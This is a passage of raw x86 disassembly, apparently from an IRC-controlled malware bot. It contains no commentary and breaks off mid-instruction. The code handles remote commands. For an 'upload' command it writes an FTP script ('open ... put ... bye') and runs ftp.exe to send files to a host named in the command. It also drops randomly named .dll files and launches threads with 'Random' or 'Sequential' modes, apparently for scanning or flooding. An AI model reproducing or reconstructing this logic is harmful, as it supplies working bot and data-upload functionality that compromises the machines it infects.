loc_40725D: ; CODE XREF: sub_401ACD+577Cj call near ptr 2680930h nop push eax push offset unk_42A70C loc_407269: ; CODE XREF: sub_401ACD+4E31j ; sub_401ACD+62BEj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_407278: ; CODE XREF: sub_401ACD+4E15j ; sub_401ACD+5784j ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push [ebp+var_4] loc_407285: ; CODE XREF: sub_401ACD+22DEj lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4082A8 ; --------------------------------------------------------------------------- loc_407298: ; CODE XREF: sub_401ACD+4F98j ; sub_401ACD+4FAFj push 0Bh call sub_40B33E push edi mov [ebp+arg_1C], eax call sub_41B779 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407454 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A6CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_4072E8: ; CODE XREF: sub_401ACD+526Dj ; sub_401ACD+5639j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 push 4 push esi call sub_416908 pop ecx test eax, eax pop ecx jnz short loc_407324 push esi push offset unk_42A6A4 jmp loc_408CDB ; --------------------------------------------------------------------------- loc_407324: ; CODE XREF: sub_401ACD+584Aj nop call near ptr 26905D6h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 9 cdq pop ecx idiv ecx push edx call sub_41B8E2 push 63h cdq pop ecx idiv ecx push edx call sub_41B8E2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+var_2E58] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41B886 lea eax, [ebp+var_2E58] push offset aAb ; "ab" push eax call sub_41B4C2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41BE06 push [ebp+arg_24] call sub_41B05B add esp, 20h lea eax, [ebp+var_2E58] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax push esi jz short loc_4073F3 push offset unk_42A634 jmp short loc_4073F8 ; --------------------------------------------------------------------------- loc_4073F3: ; CODE XREF: sub_401ACD+591Dj push offset unk_42A604 loc_4073F8: ; CODE XREF: sub_401ACD+5924j call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407421 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_407421: ; CODE XREF: sub_401ACD+5936j lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_40742D: ; CODE XREF: sub_401ACD+5985j lea eax, [ebp+var_2E58] push 4 push eax call sub_416908 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+var_2E58] push eax call sub_41BDDC jmp short loc_40742D ; --------------------------------------------------------------------------- loc_407454: ; CODE XREF: sub_401ACD+57E5j push [ebp+arg_10] call sub_41B779 push edi mov [ebp+var_370], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41B779 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748D push 5 pop eax mov [ebp+var_36C], eax loc_40748D: ; CODE XREF: sub_401ACD+59B5j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749A mov [ebp+var_36C], ecx loc_40749A: ; CODE XREF: sub_401ACD+59C5j push [ebp+arg_18] call sub_41B779 mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BC mov [ebp+var_368], eax loc_4074BC: ; CODE XREF: sub_401ACD+59E7j or [ebp+var_354], 0FFFFFFFFh cmp dword_431438, ebx mov [ebp+arg_20], ebx jz short loc_40750B mov edi, offset dword_431438 loc_4074D3: ; CODE XREF: sub_401ACD+5A20j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4074F1 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D3 jmp short loc_40750B ; --------------------------------------------------------------------------- loc_4074F1: ; CODE XREF: sub_401ACD+5A16j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431438[ecx] mov [ebp+var_370], ecx loc_40750B: ; CODE XREF: sub_401ACD+59FFj ; sub_401ACD+5A22j cmp [ebp+var_370], ebx jnz short loc_40751D push offset unk_42A5D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40751D: ; CODE XREF: sub_401ACD+5A44j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_407558 cmp byte ptr [edi], 23h jz short loc_407558 push edi lea eax, [ebp+var_484] push 10h push eax call sub_41B980 push 78h push edi call sub_41BFB0 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407632 ; --------------------------------------------------------------------------- loc_407558: ; CODE XREF: sub_401ACD+5A59j ; sub_401ACD+5A5Ej cmp [ebp+var_8FF], bl jnz short loc_40757A cmp [ebp+var_8FE], bl jnz short loc_40757A cmp [ebp+var_8EE], bl jnz short loc_40757A push offset unk_42A59C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40757A: ; CODE XREF: sub_401ACD+5A91j ; sub_401ACD+5A99j ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CAF48 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CB030 push eax lea eax, [ebp+var_484] push eax call sub_41B5F0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762C xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41BE40 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407620 loc_4075FE: ; CODE XREF: sub_401ACD+5B51j cmp eax, ebx jz short loc_407620 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4075FE loc_407620: ; CODE XREF: sub_401ACD+5B2Fj ; sub_401ACD+5B33j mov [ebp+var_344], 1 jmp short loc_407632 ; --------------------------------------------------------------------------- loc_40762C: ; CODE XREF: sub_401ACD+5B09j mov [ebp+var_344], ebx loc_407632: ; CODE XREF: sub_401ACD+5A86j ; sub_401ACD+5B5Dj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41B980 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407683 loc_407670: ; CODE XREF: sub_401ACD+5BD9j push esi loc_407671: ; CODE XREF: sub_401ACD+5BC3j lea eax, [ebp+var_3F4] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4076AE ; --------------------------------------------------------------------------- loc_407683: ; CODE XREF: sub_401ACD+5BA1j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_407692 cmp byte ptr [eax], 23h jnz short loc_407692 push eax jmp short loc_407671 ; --------------------------------------------------------------------------- loc_407692: ; CODE XREF: sub_401ACD+5BBBj ; sub_401ACD+5BC0j mov esi, offset aF ; "#f" push offset dword_43D158 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_407670 mov [ebp+var_3F4], bl loc_4076AE: ; CODE XREF: sub_401ACD+5BB4j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C0 mov eax, offset aSequential ; "Sequential" loc_4076C0: ; CODE XREF: sub_401ACD+5BECj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A534 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C33C push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40774E loc_407738: ; CODE XREF: sub_401ACD+5C7Fj cmp [ebp+var_340], ebx jnz loc_40828B push 32h call near ptr 2670ECEh nop jmp short loc_407738 ; --------------------------------------------------------------------------- loc_40774E: ; CODE XREF: sub_401ACD+5C69j nop call near ptr 2680930h push eax push offset unk_42A4FC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40775F: ; CODE XREF: sub_401ACD+4F6Aj ; sub_401ACD+4F81j push [ebp+arg_10] call sub_40AAF9 push edi mov [ebp+var_4E0], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_4EC], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41B5F0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A4AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40C759 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407854 loc_40783E: ; CODE XREF: sub_401ACD+5D85j cmp [ebp+var_4D0], ebx jnz loc_403DA0 push 32h call near ptr 2670ECEh nop jmp short loc_40783E ; --------------------------------------------------------------------------- loc_407854: ; CODE XREF: sub_401ACD+5D6Fj nop call near ptr 2680930h push eax push offset unk_42A470 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407865: ; CODE XREF: sub_401ACD+4F2Dj ; sub_401ACD+4F44j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A464 push eax call sub_41B886 add esp, 0Ch cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407A35 ; --------------------------------------------------------------------------- loc_40795D: ; CODE XREF: sub_401ACD+4EFFj ; sub_401ACD+4F16j push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx cmp byte_43DEF8[eax], bl jz loc_409854 cmp [ebp+var_C], ebx jz loc_409854 push edi call sub_41AFE0 push [ebp+arg_10] mov esi, eax call sub_41AFE0 push [ebp+arg_8] add esi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409854 push [ebp+arg_10] call sub_41B779 test eax, eax pop ecx jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push ebx push ebx push esi push edi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A72 push [ebp+arg_10] call sub_41B779 imul eax, 234h add esp, 18h cmp byte ptr dword_43DCE0[eax], 73h jnz loc_409854 push esi push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx add eax, offset byte_43DEF8 push eax push edi push offset aSSS_1 ; "[%s] <%s> %s" loc_407A35: ; CODE XREF: sub_401ACD+5E8Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h jmp loc_409854 ; --------------------------------------------------------------------------- loc_407A62: ; CODE XREF: sub_401ACD+4ED1j ; sub_401ACD+4EE8j push [ebp+arg_10] call dword_4CAFE4 push edi mov [ebp+var_680], eax call sub_41B779 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41B779 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41B5F0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB030 push eax lea eax, [ebp+var_2C4] push offset unk_42A408 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C668 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407B44 loc_407B2E: ; CODE XREF: sub_401ACD+6075j cmp [ebp+var_670], ebx jnz loc_403DA0 push 32h nop call near ptr 2670ECEh jmp short loc_407B2E ; --------------------------------------------------------------------------- loc_407B44: ; CODE XREF: sub_401ACD+605Fj call near ptr 2680930h nop push eax push offset unk_42A4FC jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407B55: ; CODE XREF: sub_401ACD+4EA3j ; sub_401ACD+4EBAj push [ebp+arg_10] call sub_41B779 mov [ebp+var_112C], eax push 7Fh lea eax, [ebp+var_1230] push edi push eax call sub_41B5F0 push [ebp+arg_0] call sub_41B779 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+var_88] mov [ebp+var_1238], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A3CC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset loc_4103AA push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407C41 loc_407C2B: ; CODE XREF: sub_401ACD+6172j cmp [ebp+var_1118], ebx jnz loc_403DA0 push 32h nop call near ptr 2670ECEh jmp short loc_407C2B ; --------------------------------------------------------------------------- loc_407C41: ; CODE XREF: sub_401ACD+615Cj nop call near ptr 2680930h push eax push offset unk_42A388 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_407C52: ; CODE XREF: sub_401ACD+4E75j ; sub_401ACD+4E8Cj push 0FFh lea eax, [ebp+var_2878] push [ebp+arg_10] push eax call sub_41B5F0 push 0FFh lea eax, [ebp+var_2778] push edi push eax call sub_41B5F0 push [ebp+arg_0] mov [ebp+var_2674], ebx call sub_41B779 mov [ebp+var_2670], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407CAB push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_2668], eax jmp short loc_407CB1 ; --------------------------------------------------------------------------- loc_407CAB: ; CODE XREF: sub_401ACD+61C8j mov [ebp+var_2668], ebx loc_407CB1: ; CODE XREF: sub_401ACD+61DCj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407CC8 push esi call sub_41B779 pop ecx mov [ebp+var_266C], eax jmp short loc_407CCE ; --------------------------------------------------------------------------- loc_407CC8: ; CODE XREF: sub_401ACD+61EAj mov [ebp+var_266C], ebx loc_407CCE: ; CODE XREF: sub_401ACD+61F9j movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2664], eax lea eax, [ebp+var_28F8] mov [ebp+var_28FC], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_265C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_2660], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A35C push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2678], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_28FC] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2678] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407D7F loc_407D69: ; CODE XREF: sub_401ACD+62B0j cmp [ebp+var_2658], ebx jnz loc_407278 push 32h call near ptr 2670ECEh nop jmp short loc_407D69 ; --------------------------------------------------------------------------- loc_407D7F: ; CODE XREF: sub_401ACD+629Aj nop call near ptr 2680930h push eax push offset unk_42A31C jmp loc_407269 ; --------------------------------------------------------------------------- loc_407D90: ; CODE XREF: sub_401ACD+4E47j ; sub_401ACD+4E5Ej push 7Fh lea eax, [ebp+var_3490] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3410] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3390] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3310] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_328C], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3288], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3494], esi push [ebp+arg_10] push offset unk_42A2E0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3290], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3494] push ebx push eax push offset byte_414A91 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3290] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407E67 loc_407E51: ; CODE XREF: sub_401ACD+6398j cmp [ebp+var_3284], ebx jnz loc_407278 push 32h nop call near ptr 2670ECEh jmp short loc_407E51 ; --------------------------------------------------------------------------- loc_407E67: ; CODE XREF: sub_401ACD+6382j nop call near ptr 2680930h push eax push offset unk_42A2A8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407E78: ; CODE XREF: sub_401ACD+4D1Aj ; sub_401ACD+4D31j push 7Fh lea eax, [ebp+var_3068] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2FE8] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_2F68] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_2EE8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_306C], esi push [ebp+arg_10] push offset unk_42A278 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_2E68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_306C] push ebx push eax push offset dword_4137CC push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_2E68] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_407F4F loc_407F39: ; CODE XREF: sub_401ACD+6480j cmp [ebp+var_2E5C], ebx jnz loc_407278 push 32h nop call near ptr 2670ECEh jmp short loc_407F39 ; --------------------------------------------------------------------------- loc_407F4F: ; CODE XREF: sub_401ACD+646Aj call near ptr 2680930h nop push eax push offset unk_42A240 jmp loc_407269 ; --------------------------------------------------------------------------- loc_407F60: ; CODE XREF: sub_401ACD+4BF1j ; sub_401ACD+4C08j ... push 7Fh lea eax, [ebp+var_3CE4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3C64] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_3BE4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3B64] push [ebp+var_88] push eax call sub_41B5F0 push 20h lea eax, [ebp+var_3AE4] push [ebp+arg_8] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A64], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A60], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_3CEC], esi push [ebp+arg_10] push offset unk_42A210 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CE8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CEC] push ebx push eax push offset byte_412A53 push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_3CE8] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408048 loc_408032: ; CODE XREF: sub_401ACD+6579j cmp [ebp+var_3A5C], ebx jnz loc_407278 push 32h nop call near ptr 2670ECEh jmp short loc_408032 ; --------------------------------------------------------------------------- loc_408048: ; CODE XREF: sub_401ACD+6563j nop call near ptr 2680930h push eax push offset unk_42A1D8 jmp loc_407269 ; --------------------------------------------------------------------------- loc_408059: ; CODE XREF: sub_401ACD+4BC3j ; sub_401ACD+4BDAj push 7Fh lea eax, [ebp+var_1778] push [ebp+arg_10] push eax call sub_41B5F0 push edi call sub_41B779 push 3Fh mov [ebp+var_1628], eax push [ebp+arg_0] lea eax, [ebp+var_16F8] push eax call sub_41B5F0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_4080A4 push 3Fh lea eax, [ebp+var_16B8] push esi push eax call sub_41B5F0 add esp, 0Ch loc_4080A4: ; CODE XREF: sub_401ACD+65C3j lea eax, [ebp+var_16F8] mov [ebp+var_1624], 1 push eax lea eax, [ebp+var_1778] push [ebp+var_1628] push eax lea eax, [ebp+var_2C4] push offset dword_42A1A8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1620], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_177C] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2680000h mov ecx, [ebp+var_1620] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408130 loc_40811A: ; CODE XREF: sub_401ACD+6661j cmp [ebp+var_161C], ebx jnz loc_406CDE push 32h call near ptr 2670ECEh nop jmp short loc_40811A ; --------------------------------------------------------------------------- loc_408130: ; CODE XREF: sub_401ACD+664Bj nop call near ptr 2680930h push eax push offset dword_42A16C jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408141: ; CODE XREF: sub_401ACD+4B83j ; sub_401ACD+4B9Aj push edi call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_1D64], eax jle loc_408234 push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1EEC] push esi push eax call sub_41B980 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D60], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF0], eax lea eax, [ebp+var_1DEC] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D5C], eax mov eax, [ebp+var_8] push edi mov [ebp+var_1D58], eax push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset unk_42A140 push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1D6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF0] push ebx push eax push offset byte_412E9D push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_1D6C] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_408223 loc_408211: ; CODE XREF: sub_401ACD+6754j cmp [ebp+var_1D54], ebx jnz short loc_40828B push 32h nop call near ptr 2670ECEh jmp short loc_408211 ; --------------------------------------------------------------------------- loc_408223: ; CODE XREF: sub_401ACD+6742j call near ptr 2680930h nop push eax push offset unk_42A108 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_408234: ; CODE XREF: sub_401ACD+6683j push offset unk_42A0D0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_40823E: ; CODE XREF: sub_401ACD+4B55j ; sub_401ACD+4B6Cj push edi push [ebp+arg_10] nop call near ptr 26A0C52h test eax, eax jz short loc_40826B push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset unk_42A0AC push 200h push eax call sub_41B980 add esp, 14h jmp short loc_40828B ; --------------------------------------------------------------------------- loc_40826B: ; CODE XREF: sub_401ACD+677Dj push offset dword_42A0A0 call sub_41814C pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 loc_408288: ; CODE XREF: sub_401ACD+2F2Aj ; sub_401ACD+556Fj add esp, 0Ch loc_40828B: ; CODE XREF: sub_401ACD+2136j ; sub_401ACD+2ECCj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4082A8: ; CODE XREF: sub_401ACD+57C6j call sub_409A72 add esp, 14h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4082B5: ; CODE XREF: sub_401ACD+4B27j ; sub_401ACD+4B3Ej push [ebp+arg_10] lea eax, [ebp+var_3F04] push 104h push eax call sub_41B980 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_4082EF push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4082EF push eax lea eax, [ebp+var_3E00] push eax call sub_41B886 pop ecx pop ecx loc_4082EF: ; CODE XREF: sub_401ACD+6802j ; sub_401ACD+6811j push [ebp+var_88] lea eax, [ebp+var_3F84] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F88], eax mov eax, [ebp+var_4] mov [ebp+var_3CF8], eax mov eax, [ebp+var_8] mov [ebp+var_3CF4], eax lea eax, [ebp+var_3E00] push eax lea eax, [ebp+var_3F04] push eax push offset unk_42A070 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_3CFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F88] push ebx push eax push offset byte_416CAD push ebx push ebx call near ptr 2680000h nop mov ecx, [ebp+var_3CFC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4083A1 loc_40838F: ; CODE XREF: sub_401ACD+68D2j cmp [ebp+var_3CF0], ebx jnz short loc_4083BC push 32h nop call near ptr 2670ECEh jmp short loc_40838F ; --------------------------------------------------------------------------- loc_4083A1: ; CODE XREF: sub_401ACD+68C0j call near ptr 2680930h nop push eax push offset unk_42A034 loc_4083AD: ; CODE XREF: sub_401ACD+925j ; sub_401ACD+A63j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_4083BC: ; CODE XREF: sub_401ACD+7E1j ; sub_401ACD+94Cj ... push 1 pop esi jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4083C4: ; CODE XREF: sub_401ACD+4AF9j ; sub_401ACD+4B10j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41B590 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push 